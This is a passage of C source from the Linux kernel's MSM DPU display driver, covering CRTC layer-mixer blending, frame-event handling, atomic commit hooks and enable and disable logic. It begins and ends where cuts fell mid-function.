dpu_hw_mixer *lm = mixer->hw_lm;\n\tuint32_t blend_op;\n\tstruct drm_format_name_buf format_name;\n\n\t/* default to opaque blending */\n\tblend_op = DPU_BLEND_FG_ALPHA_FG_CONST |\n\t\tDPU_BLEND_BG_ALPHA_BG_CONST;\n\n\tif (format->alpha_enable) {\n\t\t/* coverage blending */\n\t\tblend_op = DPU_BLEND_FG_ALPHA_FG_PIXEL |\n\t\t\tDPU_BLEND_BG_ALPHA_FG_PIXEL |\n\t\t\tDPU_BLEND_BG_INV_ALPHA;\n\t}\n\n\tlm->ops.setup_blend_config(lm, pstate->stage,\n\t\t\t\t0xFF, 0, blend_op);\n\n\tDPU_DEBUG(\"format:%s, alpha_en:%u blend_op:0x%x\\n\",\n\t\tdrm_get_format_name(format->base.pixel_format, &format_name),\n\t\tformat->alpha_enable, blend_op);\n}\n\nstatic void _dpu_crtc_program_lm_output_roi(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_crtc_state *crtc_state;\n\tint lm_idx, lm_horiz_position;\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcrtc_state = to_dpu_crtc_state(crtc->state);\n\n\tlm_horiz_position = 0;\n\tfor (lm_idx = 0; lm_idx < crtc_state->num_mixers; lm_idx++) {\n\t\tconst struct drm_rect *lm_roi = &crtc_state->lm_bounds[lm_idx];\n\t\tstruct dpu_hw_mixer *hw_lm = crtc_state->mixers[lm_idx].hw_lm;\n\t\tstruct dpu_hw_mixer_cfg cfg;\n\n\t\tif (!lm_roi || !drm_rect_visible(lm_roi))\n\t\t\tcontinue;\n\n\t\tcfg.out_width = drm_rect_width(lm_roi);\n\t\tcfg.out_height = drm_rect_height(lm_roi);\n\t\tcfg.right_mixer = lm_horiz_position++;\n\t\tcfg.flags = 0;\n\t\thw_lm->ops.setup_mixer_out(hw_lm, &cfg);\n\t}\n}\n\nstatic void _dpu_crtc_blend_setup_mixer(struct drm_crtc *crtc,\n\tstruct dpu_crtc *dpu_crtc, struct dpu_crtc_mixer *mixer)\n{\n\tstruct drm_plane *plane;\n\tstruct drm_framebuffer *fb;\n\tstruct drm_plane_state *state;\n\tstruct dpu_crtc_state *cstate = to_dpu_crtc_state(crtc->state);\n\tstruct dpu_plane_state *pstate = NULL;\n\tstruct dpu_format *format;\n\tstruct dpu_hw_ctl *ctl = mixer->lm_ctl;\n\tstruct dpu_hw_stage_cfg *stage_cfg = &dpu_crtc->stage_cfg;\n\n\tu32 flush_mask;\n\tuint32_t stage_idx, lm_idx;\n\tint zpos_cnt[DPU_STAGE_MAX + 1] = { 0 };\n\tbool bg_alpha_enable = false;\n\n\tdrm_atomic_crtc_for_each_plane(plane, crtc) {\n\t\tstate = plane->state;\n\t\tif (!state)\n\t\t\tcontinue;\n\n\t\tpstate = to_dpu_plane_state(state);\n\t\tfb = state->fb;\n\n\t\tdpu_plane_get_ctl_flush(plane, ctl, &flush_mask);\n\n\t\tDPU_DEBUG(\"crtc %d stage:%d - plane %d sspp %d fb %d\\n\",\n\t\t\t\tcrtc->base.id,\n\t\t\t\tpstate->stage,\n\t\t\t\tplane->base.id,\n\t\t\t\tdpu_plane_pipe(plane) - SSPP_VIG0,\n\t\t\t\tstate->fb ? state->fb->base.id : -1);\n\n\t\tformat = to_dpu_format(msm_framebuffer_format(pstate->base.fb));\n\n\t\tif (pstate->stage == DPU_STAGE_BASE && format->alpha_enable)\n\t\t\tbg_alpha_enable = true;\n\n\t\tstage_idx = zpos_cnt[pstate->stage]++;\n\t\tstage_cfg->stage[pstate->stage][stage_idx] =\n\t\t\t\t\tdpu_plane_pipe(plane);\n\t\tstage_cfg->multirect_index[pstate->stage][stage_idx] =\n\t\t\t\t\tpstate->multirect_index;\n\n\t\ttrace_dpu_crtc_setup_mixer(DRMID(crtc), DRMID(plane),\n\t\t\t\t\t state, pstate, stage_idx,\n\t\t\t\t\t dpu_plane_pipe(plane) - SSPP_VIG0,\n\t\t\t\t\t format->base.pixel_format,\n\t\t\t\t\t fb ? fb->modifier : 0);\n\n\t\t/* blend config update */\n\t\tfor (lm_idx = 0; lm_idx < cstate->num_mixers; lm_idx++) {\n\t\t\t_dpu_crtc_setup_blend_cfg(mixer + lm_idx,\n\t\t\t\t\t\tpstate, format);\n\n\t\t\tmixer[lm_idx].flush_mask |= flush_mask;\n\n\t\t\tif (bg_alpha_enable && !format->alpha_enable)\n\t\t\t\tmixer[lm_idx].mixer_op_mode = 0;\n\t\t\telse\n\t\t\t\tmixer[lm_idx].mixer_op_mode |=\n\t\t\t\t\t\t1 << pstate->stage;\n\t\t}\n\t}\n\n\t _dpu_crtc_program_lm_output_roi(crtc);\n}\n\n/**\n * _dpu_crtc_blend_setup - configure crtc mixers\n * @crtc: Pointer to drm crtc structure\n */\nstatic void _dpu_crtc_blend_setup(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tstruct dpu_crtc_state *cstate = to_dpu_crtc_state(crtc->state);\n\tstruct dpu_crtc_mixer *mixer = cstate->mixers;\n\tstruct dpu_hw_ctl *ctl;\n\tstruct dpu_hw_mixer *lm;\n\tint i;\n\n\tDPU_DEBUG(\"%s\\n\", dpu_crtc->name);\n\n\tfor (i = 0; i < cstate->num_mixers; i++) {\n\t\tif (!mixer[i].hw_lm || !mixer[i].lm_ctl) {\n\t\t\tDPU_ERROR(\"invalid lm or ctl assigned to mixer\\n\");\n\t\t\treturn;\n\t\t}\n\t\tmixer[i].mixer_op_mode = 0;\n\t\tmixer[i].flush_mask = 0;\n\t\tif (mixer[i].lm_ctl->ops.clear_all_blendstages)\n\t\t\tmixer[i].lm_ctl->ops.clear_all_blendstages(\n\t\t\t\t\tmixer[i].lm_ctl);\n\t}\n\n\t/* initialize stage cfg */\n\tmemset(&dpu_crtc->stage_cfg, 0, sizeof(struct dpu_hw_stage_cfg));\n\n\t_dpu_crtc_blend_setup_mixer(crtc, dpu_crtc, mixer);\n\n\tfor (i = 0; i < cstate->num_mixers; i++) {\n\t\tctl = mixer[i].lm_ctl;\n\t\tlm = mixer[i].hw_lm;\n\n\t\tlm->ops.setup_alpha_out(lm, mixer[i].mixer_op_mode);\n\n\t\tmixer[i].flush_mask |= ctl->ops.get_bitmask_mixer(ctl,\n\t\t\tmixer[i].hw_lm->idx);\n\n\t\t/* stage config flush mask */\n\t\tctl->ops.update_pending_flush(ctl, mixer[i].flush_mask);\n\n\t\tDPU_DEBUG(\"lm %d, op_mode 0x%X, ctl %d, flush mask 0x%x\\n\",\n\t\t\tmixer[i].hw_lm->idx - LM_0,\n\t\t\tmixer[i].mixer_op_mode,\n\t\t\tctl->idx - CTL_0,\n\t\t\tmixer[i].flush_mask);\n\n\t\tctl->ops.setup_blendstage(ctl, mixer[i].hw_lm->idx,\n\t\t\t&dpu_crtc->stage_cfg);\n\t}\n}\n\n/**\n * _dpu_crtc_complete_flip - signal pending page_flip events\n * Any pending vblank events are added to the vblank_event_list\n * so that the next vblank interrupt shall signal them.\n * However PAGE_FLIP events are not handled through the vblank_event_list.\n * This API signals any pending PAGE_FLIP events requested through\n * DRM_IOCTL_MODE_PAGE_FLIP and are cached in the dpu_crtc->event.\n * @crtc: Pointer to drm crtc structure\n */\nstatic void _dpu_crtc_complete_flip(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tstruct drm_device *dev = crtc->dev;\n\tunsigned long flags;\n\n\tspin_lock_irqsave(&dev->event_lock, flags);\n\tif (dpu_crtc->event) {\n\t\tDRM_DEBUG_VBL(\"%s: send event: %pK\\n\", dpu_crtc->name,\n\t\t\t dpu_crtc->event);\n\t\ttrace_dpu_crtc_complete_flip(DRMID(crtc));\n\t\tdrm_crtc_send_vblank_event(crtc, dpu_crtc->event);\n\t\tdpu_crtc->event = NULL;\n\t}\n\tspin_unlock_irqrestore(&dev->event_lock, flags);\n}\n\nenum dpu_intf_mode dpu_crtc_get_intf_mode(struct drm_crtc *crtc)\n{\n\tstruct drm_encoder *encoder;\n\n\tif (!crtc || !crtc->dev) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn INTF_MODE_NONE;\n\t}\n\n\tWARN_ON(!drm_modeset_is_locked(&crtc->mutex));\n\n\t/* TODO: Returns the first INTF_MODE, could there be multiple values? */\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\treturn dpu_encoder_get_intf_mode(encoder);\n\n\treturn INTF_MODE_NONE;\n}\n\nvoid dpu_crtc_vblank_callback(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\n\t/* keep statistics on vblank callback - with auto reset via debugfs */\n\tif (ktime_compare(dpu_crtc->vblank_cb_time, ktime_set(0, 0)) == 0)\n\t\tdpu_crtc->vblank_cb_time = ktime_get();\n\telse\n\t\tdpu_crtc->vblank_cb_count++;\n\t_dpu_crtc_complete_flip(crtc);\n\tdrm_crtc_handle_vblank(crtc);\n\ttrace_dpu_crtc_vblank_cb(DRMID(crtc));\n}\n\nstatic void dpu_crtc_release_bw_unlocked(struct drm_crtc *crtc)\n{\n\tint ret = 0;\n\tstruct drm_modeset_acquire_ctx ctx;\n\n\tDRM_MODESET_LOCK_ALL_BEGIN(crtc->dev, ctx, 0, ret);\n\tdpu_core_perf_crtc_release_bw(crtc);\n\tDRM_MODESET_LOCK_ALL_END(ctx, ret);\n\tif (ret)\n\t\tDRM_ERROR(\"Failed to acquire modeset locks to release bw, %d\\n\",\n\t\t\t ret);\n}\n\nstatic void dpu_crtc_frame_event_work(struct kthread_work *work)\n{\n\tstruct dpu_crtc_frame_event *fevent = container_of(work,\n\t\t\tstruct dpu_crtc_frame_event, work);\n\tstruct drm_crtc *crtc = fevent->crtc;\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tunsigned long flags;\n\tbool frame_done = false;\n\n\tDPU_ATRACE_BEGIN(\"crtc_frame_event\");\n\n\tDRM_DEBUG_KMS(\"crtc%d event:%u ts:%lld\\n\", crtc->base.id, fevent->event,\n\t\t\tktime_to_ns(fevent->ts));\n\n\tif (fevent->event & (DPU_ENCODER_FRAME_EVENT_DONE\n\t\t\t\t| DPU_ENCODER_FRAME_EVENT_ERROR\n\t\t\t\t| DPU_ENCODER_FRAME_EVENT_PANEL_DEAD)) {\n\n\t\tif (atomic_read(&dpu_crtc->frame_pending) < 1) {\n\t\t\t/* this should not happen */\n\t\t\tDRM_ERROR(\"crtc%d ev:%u ts:%lld frame_pending:%d\\n\",\n\t\t\t\t\tcrtc->base.id,\n\t\t\t\t\tfevent->event,\n\t\t\t\t\tktime_to_ns(fevent->ts),\n\t\t\t\t\tatomic_read(&dpu_crtc->frame_pending));\n\t\t} else if (atomic_dec_return(&dpu_crtc->frame_pending) == 0) {\n\t\t\t/* release bandwidth and other resources */\n\t\t\ttrace_dpu_crtc_frame_event_done(DRMID(crtc),\n\t\t\t\t\t\t\tfevent->event);\n\t\t\tdpu_crtc_release_bw_unlocked(crtc);\n\t\t} else {\n\t\t\ttrace_dpu_crtc_frame_event_more_pending(DRMID(crtc),\n\t\t\t\t\t\t\t\tfevent->event);\n\t\t}\n\n\t\tif (fevent->event & DPU_ENCODER_FRAME_EVENT_DONE)\n\t\t\tdpu_core_perf_crtc_update(crtc, 0, false);\n\n\t\tif (fevent->event & (DPU_ENCODER_FRAME_EVENT_DONE\n\t\t\t\t\t| DPU_ENCODER_FRAME_EVENT_ERROR))\n\t\t\tframe_done = true;\n\t}\n\n\tif (fevent->event & DPU_ENCODER_FRAME_EVENT_PANEL_DEAD)\n\t\tDPU_ERROR(\"crtc%d ts:%lld received panel dead event\\n\",\n\t\t\t\tcrtc->base.id, ktime_to_ns(fevent->ts));\n\n\tif (frame_done)\n\t\tcomplete_all(&dpu_crtc->frame_done_comp);\n\n\tspin_lock_irqsave(&dpu_crtc->spin_lock, flags);\n\tlist_add_tail(&fevent->list, &dpu_crtc->frame_event_list);\n\tspin_unlock_irqrestore(&dpu_crtc->spin_lock, flags);\n\tDPU_ATRACE_END(\"crtc_frame_event\");\n}\n\n/*\n * dpu_crtc_frame_event_cb - crtc frame event callback API. CRTC module\n * registers this API to encoder for all frame event callbacks like\n * frame_error, frame_done, idle_timeout, etc. Encoder may call different events\n * from different context - IRQ, user thread, commit_thread, etc. Each event\n * should be carefully reviewed and should be processed in proper task context\n * to avoid schedulin delay or properly manage the irq context's bottom half\n * processing.\n */\nstatic void dpu_crtc_frame_event_cb(void *data, u32 event)\n{\n\tstruct drm_crtc *crtc = (struct drm_crtc *)data;\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct msm_drm_private *priv;\n\tstruct dpu_crtc_frame_event *fevent;\n\tunsigned long flags;\n\tu32 crtc_id;\n\n\t/* Nothing to do on idle event */\n\tif (event & DPU_ENCODER_FRAME_EVENT_IDLE)\n\t\treturn;\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tpriv = crtc->dev->dev_private;\n\tcrtc_id = drm_crtc_index(crtc);\n\n\ttrace_dpu_crtc_frame_event_cb(DRMID(crtc), event);\n\n\tspin_lock_irqsave(&dpu_crtc->spin_lock, flags);\n\tfevent = list_first_entry_or_null(&dpu_crtc->frame_event_list,\n\t\t\tstruct dpu_crtc_frame_event, list);\n\tif (fevent)\n\t\tlist_del_init(&fevent->list);\n\tspin_unlock_irqrestore(&dpu_crtc->spin_lock, flags);\n\n\tif (!fevent) {\n\t\tDRM_ERROR(\"crtc%d event %d overflow\\n\", crtc->base.id, event);\n\t\treturn;\n\t}\n\n\tfevent->event = event;\n\tfevent->crtc = crtc;\n\tfevent->ts = ktime_get();\n\tkthread_queue_work(&priv->event_thread[crtc_id].worker, &fevent->work);\n}\n\nvoid dpu_crtc_complete_commit(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *old_state)\n{\n\tif (!crtc || !crtc->state) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn;\n\t}\n\ttrace_dpu_crtc_complete_commit(DRMID(crtc));\n}\n\nstatic void _dpu_crtc_setup_lm_bounds(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *state)\n{\n\tstruct dpu_crtc_state *cstate = to_dpu_crtc_state(state);\n\tstruct drm_display_mode *adj_mode = &state->adjusted_mode;\n\tu32 crtc_split_width = adj_mode->hdisplay / cstate->num_mixers;\n\tint i;\n\n\tfor (i = 0; i < cstate->num_mixers; i++) {\n\t\tstruct drm_rect *r = &cstate->lm_bounds[i];\n\t\tr->x1 = crtc_split_width * i;\n\t\tr->y1 = 0;\n\t\tr->x2 = r->x1 + crtc_split_width;\n\t\tr->y2 = adj_mode->vdisplay;\n\n\t\ttrace_dpu_crtc_setup_lm_bounds(DRMID(crtc), i, r);\n\t}\n\n\tdrm_mode_debug_printmodeline(adj_mode);\n}\n\nstatic void dpu_crtc_atomic_begin(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *old_state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_crtc_state *cstate;\n\tstruct drm_encoder *encoder;\n\tstruct drm_device *dev;\n\tunsigned long flags;\n\tstruct dpu_crtc_smmu_state_data *smmu_state;\n\n\tif (!crtc) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn;\n\t}\n\n\tif (!crtc->state->enable) {\n\t\tDPU_DEBUG(\"crtc%d -> enable %d, skip atomic_begin\\n\",\n\t\t\t\tcrtc->base.id, crtc->state->enable);\n\t\treturn;\n\t}\n\n\tDPU_DEBUG(\"crtc%d\\n\", crtc->base.id);\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcstate = to_dpu_crtc_state(crtc->state);\n\tdev = crtc->dev;\n\tsmmu_state = &dpu_crtc->smmu_state;\n\n\t_dpu_crtc_setup_lm_bounds(crtc, crtc->state);\n\n\tif (dpu_crtc->event) {\n\t\tWARN_ON(dpu_crtc->event);\n\t} else {\n\t\tspin_lock_irqsave(&dev->event_lock, flags);\n\t\tdpu_crtc->event = crtc->state->event;\n\t\tcrtc->state->event = NULL;\n\t\tspin_unlock_irqrestore(&dev->event_lock, flags);\n\t}\n\n\t/* encoder will trigger pending mask now */\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\tdpu_encoder_trigger_kickoff_pending(encoder);\n\n\t/*\n\t * If no mixers have been allocated in dpu_crtc_atomic_check(),\n\t * it means we are trying to flush a CRTC whose state is disabled:\n\t * nothing else needs to be done.\n\t */\n\tif (unlikely(!cstate->num_mixers))\n\t\treturn;\n\n\t_dpu_crtc_blend_setup(crtc);\n\n\t/*\n\t * PP_DONE irq is only used by command mode for now.\n\t * It is better to request pending before FLUSH and START trigger\n\t * to make sure no pp_done irq missed.\n\t * This is safe because no pp_done will happen before SW trigger\n\t * in command mode.\n\t */\n}\n\nstatic void dpu_crtc_atomic_flush(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *old_crtc_state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct drm_device *dev;\n\tstruct drm_plane *plane;\n\tstruct msm_drm_private *priv;\n\tstruct msm_drm_thread *event_thread;\n\tunsigned long flags;\n\tstruct dpu_crtc_state *cstate;\n\n\tif (!crtc->state->enable) {\n\t\tDPU_DEBUG(\"crtc%d -> enable %d, skip atomic_flush\\n\",\n\t\t\t\tcrtc->base.id, crtc->state->enable);\n\t\treturn;\n\t}\n\n\tDPU_DEBUG(\"crtc%d\\n\", crtc->base.id);\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcstate = to_dpu_crtc_state(crtc->state);\n\tdev = crtc->dev;\n\tpriv = dev->dev_private;\n\n\tif (crtc->index >= ARRAY_SIZE(priv->event_thread)) {\n\t\tDPU_ERROR(\"invalid crtc index[%d]\\n\", crtc->index);\n\t\treturn;\n\t}\n\n\tevent_thread = &priv->event_thread[crtc->index];\n\n\tif (dpu_crtc->event) {\n\t\tDPU_DEBUG(\"already received dpu_crtc->event\\n\");\n\t} else {\n\t\tspin_lock_irqsave(&dev->event_lock, flags);\n\t\tdpu_crtc->event = crtc->state->event;\n\t\tcrtc->state->event = NULL;\n\t\tspin_unlock_irqrestore(&dev->event_lock, flags);\n\t}\n\n\t/*\n\t * If no mixers has been allocated in dpu_crtc_atomic_check(),\n\t * it means we are trying to flush a CRTC whose state is disabled:\n\t * nothing else needs to be done.\n\t */\n\tif (unlikely(!cstate->num_mixers))\n\t\treturn;\n\n\t/*\n\t * For planes without commit update, drm framework will not add\n\t * those planes to current state since hardware update is not\n\t * required. However, if those planes were power collapsed since\n\t * last commit cycle, driver has to restore the hardware state\n\t * of those planes explicitly here prior to plane flush.\n\t */\n\tdrm_atomic_crtc_for_each_plane(plane, crtc)\n\t\tdpu_plane_restore(plane);\n\n\t/* update performance setting before crtc kickoff */\n\tdpu_core_perf_crtc_update(crtc, 1, false);\n\n\t/*\n\t * Final plane updates: Give each plane a chance to complete all\n\t * required writes/flushing before crtc's \"flush\n\t * everything\" call below.\n\t */\n\tdrm_atomic_crtc_for_each_plane(plane, crtc) {\n\t\tif (dpu_crtc->smmu_state.transition_error)\n\t\t\tdpu_plane_set_error(plane, true);\n\t\tdpu_plane_flush(plane);\n\t}\n\n\t/* Kickoff will be scheduled by outer layer */\n}\n\n/**\n * dpu_crtc_destroy_state - state destroy hook\n * @crtc: drm CRTC\n * @state: CRTC state object to release\n */\nstatic void dpu_crtc_destroy_state(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_crtc_state *cstate;\n\n\tif (!crtc || !state) {\n\t\tDPU_ERROR(\"invalid argument(s)\\n\");\n\t\treturn;\n\t}\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcstate = to_dpu_crtc_state(state);\n\n\tDPU_DEBUG(\"crtc%d\\n\", crtc->base.id);\n\n\t__drm_atomic_helper_crtc_destroy_state(state);\n\n\tkfree(cstate);\n}\n\nstatic int _dpu_crtc_wait_for_frame_done(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tint ret, rc = 0;\n\n\tif (!atomic_read(&dpu_crtc->frame_pending)) {\n\t\tDPU_DEBUG(\"no frames pending\\n\");\n\t\treturn 0;\n\t}\n\n\tDPU_ATRACE_BEGIN(\"frame done completion wait\");\n\tret = wait_for_completion_timeout(&dpu_crtc->frame_done_comp,\n\t\t\tmsecs_to_jiffies(DPU_CRTC_FRAME_DONE_TIMEOUT_MS));\n\tif (!ret) {\n\t\tDRM_ERROR(\"frame done wait timed out, ret:%d\\n\", ret);\n\t\trc = -ETIMEDOUT;\n\t}\n\tDPU_ATRACE_END(\"frame done completion wait\");\n\n\treturn rc;\n}\n\nvoid dpu_crtc_commit_kickoff(struct drm_crtc *crtc, bool async)\n{\n\tstruct drm_encoder *encoder;\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tstruct dpu_kms *dpu_kms = _dpu_crtc_get_kms(crtc);\n\tstruct dpu_crtc_state *cstate = to_dpu_crtc_state(crtc->state);\n\tint ret;\n\n\t/*\n\t * If no mixers has been allocated in dpu_crtc_atomic_check(),\n\t * it means we are trying to start a CRTC whose state is disabled:\n\t * nothing else needs to be done.\n\t */\n\tif (unlikely(!cstate->num_mixers))\n\t\treturn;\n\n\tDPU_ATRACE_BEGIN(\"crtc_commit\");\n\n\t/*\n\t * Encoder will flush/start now, unless it has a tx pending. If so, it\n\t * may delay and flush at an irq event (e.g. ppdone)\n\t */\n\tdrm_for_each_encoder_mask(encoder, crtc->dev,\n\t\t\t\t crtc->state->encoder_mask)\n\t\tdpu_encoder_prepare_for_kickoff(encoder, async);\n\n\tif (!async) {\n\t\t/* wait for frame_event_done completion */\n\t\tDPU_ATRACE_BEGIN(\"wait_for_frame_done_event\");\n\t\tret = _dpu_crtc_wait_for_frame_done(crtc);\n\t\tDPU_ATRACE_END(\"wait_for_frame_done_event\");\n\t\tif (ret) {\n\t\t\tDPU_ERROR(\"crtc%d wait for frame done failed;frame_pending%d\\n\",\n\t\t\t\t\tcrtc->base.id,\n\t\t\t\t\tatomic_read(&dpu_crtc->frame_pending));\n\t\t\tgoto end;\n\t\t}\n\n\t\tif (atomic_inc_return(&dpu_crtc->frame_pending) == 1) {\n\t\t\t/* acquire bandwidth and other resources */\n\t\t\tDPU_DEBUG(\"crtc%d first commit\\n\", crtc->base.id);\n\t\t} else\n\t\t\tDPU_DEBUG(\"crtc%d commit\\n\", crtc->base.id);\n\n\t\tdpu_crtc->play_count++;\n\t}\n\n\tdpu_vbif_clear_errors(dpu_kms);\n\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\tdpu_encoder_kickoff(encoder, async);\n\nend:\n\tif (!async)\n\t\treinit_completion(&dpu_crtc->frame_done_comp);\n\tDPU_ATRACE_END(\"crtc_commit\");\n}\n\nstatic void dpu_crtc_reset(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc_state *cstate = kzalloc(sizeof(*cstate), GFP_KERNEL);\n\n\tif (crtc->state)\n\t\tdpu_crtc_destroy_state(crtc, crtc->state);\n\n\t__drm_atomic_helper_crtc_reset(crtc, &cstate->base);\n}\n\n/**\n * dpu_crtc_duplicate_state - state duplicate hook\n * @crtc: Pointer to drm crtc structure\n * @Returns: Pointer to new drm_crtc_state structure\n */\nstatic struct drm_crtc_state *dpu_crtc_duplicate_state(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_crtc_state *cstate, *old_cstate;\n\n\tif (!crtc || !crtc->state) {\n\t\tDPU_ERROR(\"invalid argument(s)\\n\");\n\t\treturn NULL;\n\t}\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\told_cstate = to_dpu_crtc_state(crtc->state);\n\tcstate = kmemdup(old_cstate, sizeof(*old_cstate), GFP_KERNEL);\n\tif (!cstate) {\n\t\tDPU_ERROR(\"failed to allocate state\\n\");\n\t\treturn NULL;\n\t}\n\n\t/* duplicate base helper */\n\t__drm_atomic_helper_crtc_duplicate_state(crtc, &cstate->base);\n\n\treturn &cstate->base;\n}\n\nstatic void dpu_crtc_disable(struct drm_crtc *crtc,\n\t\t\t struct drm_crtc_state *old_crtc_state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_crtc_state *cstate;\n\tstruct drm_display_mode *mode;\n\tstruct drm_encoder *encoder;\n\tstruct msm_drm_private *priv;\n\tunsigned long flags;\n\n\tif (!crtc || !crtc->dev || !crtc->dev->dev_private || !crtc->state) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn;\n\t}\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcstate = to_dpu_crtc_state(crtc->state);\n\tmode = &cstate->base.adjusted_mode;\n\tpriv = crtc->dev->dev_private;\n\n\tDRM_DEBUG_KMS(\"crtc%d\\n\", crtc->base.id);\n\n\t/* Disable/save vblank irq handling */\n\tdrm_crtc_vblank_off(crtc);\n\n\tdrm_for_each_encoder_mask(encoder, crtc->dev,\n\t\t\t\t old_crtc_state->encoder_mask)\n\t\tdpu_encoder_assign_crtc(encoder, NULL);\n\n\t/* wait for frame_event_done completion */\n\tif (_dpu_crtc_wait_for_frame_done(crtc))\n\t\tDPU_ERROR(\"crtc%d wait for frame done failed;frame_pending%d\\n\",\n\t\t\t\tcrtc->base.id,\n\t\t\t\tatomic_read(&dpu_crtc->frame_pending));\n\n\ttrace_dpu_crtc_disable(DRMID(crtc), false, dpu_crtc);\n\tdpu_crtc->enabled = false;\n\n\tif (atomic_read(&dpu_crtc->frame_pending)) {\n\t\ttrace_dpu_crtc_disable_frame_pending(DRMID(crtc),\n\t\t\t\t atomic_read(&dpu_crtc->frame_pending));\n\t\tdpu_core_perf_crtc_release_bw(crtc);\n\t\tatomic_set(&dpu_crtc->frame_pending, 0);\n\t}\n\n\tdpu_core_perf_crtc_update(crtc, 0, true);\n\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\tdpu_encoder_register_frame_event_callback(encoder, NULL, NULL);\n\n\tmemset(cstate->mixers, 0, sizeof(cstate->mixers));\n\tcstate->num_mixers = 0;\n\n\t/* disable clk & bw control until clk & bw properties are set */\n\tcstate->bw_control = false;\n\tcstate->bw_split_vote = false;\n\n\tif (crtc->state->event && !crtc->state->active) {\n\t\tspin_lock_irqsave(&crtc->dev->event_lock, flags);\n\t\tdrm_crtc_send_vblank_event(crtc, crtc->state->event);\n\t\tcrtc->state->event = NULL;\n\t\tspin_unlock_irqrestore(&crtc->dev->event_lock, flags);\n\t}\n\n\tpm_runtime_put_sync(crtc->dev->dev);\n}\n\nstatic void dpu_crtc_enable(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *old_crtc_state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct drm_encoder *encoder;\n\tstruct msm_drm_private *priv;\n\n\tif (!crtc || !crtc->dev || !crtc->dev->dev_private) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn;\n\t}\n\tpriv = crtc->dev->dev_private;\n\n\tpm_runtime_get_sync(crtc->dev->dev);\n\n\tDRM_DEBUG_KMS(\"crtc%d\\n\", crtc->base.id);\n\tdpu_crtc = to_dpu_crtc(crtc);\n\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\tdpu_encoder_register_frame_event_callback(encoder,\n\t\t\t\tdpu_crtc_frame_event_cb, (void *)crtc);\n\n\ttrace_dpu_crtc_enable(DRMID(crtc), true, dpu_crtc);\n\tdpu_crtc->enabled = true;\n\n\tdrm_for_each_encoder_mask(encoder, crtc->dev, crtc->state->encoder_mask)\n\t\tdpu_encoder_assign_crtc(encoder, crtc);\n\n\t/* Enable/restore vblank irq handling */\n\tdrm_crtc_vblank_on(crtc);\n}\n\nstruct plane_state {\n\tstruct dpu_plane_state *dpu_pstate;\n\tconst struct drm_plane_state *drm_pstate;\n\tint stage;\n\tu32 pipe_id;\n};\n\nstatic int dpu_crtc_atomic_check(struct drm_crtc *crtc,\n\t\tstruct drm_crtc_state *state)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct plane_state *pstates;\n\tstruct dpu_crtc_state *cstate;\n\n\tconst struct drm_plane_state *pstate;\n\tstruct drm_plane *plane;\n\tstruct drm_display_mode *mode;\n\n\tint cnt = 0, rc = 0, mixer_width, i, z_pos;\n\n\tstruct dpu_multirect_plane_states multirect_plane[DPU_STAGE_MAX * 2];\n\tint multirect_count = 0;\n\tconst struct drm_plane_state *pipe_staged[SSPP_MAX];\n\tint left_zpos_cnt = 0, right_zpos_cnt = 0;\n\tstruct drm_rect crtc_rect = { 0 };\n\n\tif (!crtc) {\n\t\tDPU_ERROR(\"invalid crtc\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\tpstates = kzalloc(sizeof(*pstates) * DPU_STAGE_MAX * 4, GFP_KERNEL);\n\n\tdpu_crtc = to_dpu_crtc(crtc);\n\tcstate = to_dpu_crtc_state(state);\n\n\tif (!state->enable || !state->active) {\n\t\tDPU_DEBUG(\"crtc%d -> enable %d, active %d, skip atomic_check\\n\",\n\t\t\t\tcrtc->base.id, state->enable, state->active);\n\t\tgoto end;\n\t}\n\n\tmode = &state->adjusted_mode;\n\tDPU_DEBUG(\"%s: check\", dpu_crtc->name);\n\n\t/* force a full mode set if active state changed */\n\tif (state->active_changed)\n\t\tstate->mode_changed = true;\n\n\tmemset(pipe_staged, 0, 